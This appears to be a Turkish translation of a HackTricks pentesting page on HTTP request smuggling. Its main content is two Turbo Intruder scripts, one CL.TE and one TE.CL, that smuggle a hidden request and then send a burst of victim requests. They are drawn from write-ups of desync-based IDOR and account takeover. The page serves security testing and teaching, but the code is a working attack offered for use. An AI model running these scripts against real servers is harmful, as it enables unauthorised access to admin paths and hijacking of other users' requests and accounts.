HTTP İstek Kaçırmayı HTTP Yanıt Senkronizasyonu ile Silahlandırma

Bir HTTP İstek Kaçırma açığı buldunuz ve bunu nasıl istismar edeceğinizi bilmiyorsunuz. Bu diğer istismar yöntemlerini deneyin:

HTTP Response Smuggling / Desync

Diğer HTTP İstek Kaçırma Teknikleri

  • Tarayıcı HTTP İstek Kaçırma (İstemci Tarafı)

Browser HTTP Request Smuggling

  • HTTP/2 Düşürmelerinde İstek Kaçırma

Request Smuggling in HTTP/2 Downgrades

Turbo saldırgan betikleri

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Araçlar

Referanslar

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
PreviousHTTP Connection Request SmugglingNextBrowser HTTP Request Smuggling

Last updated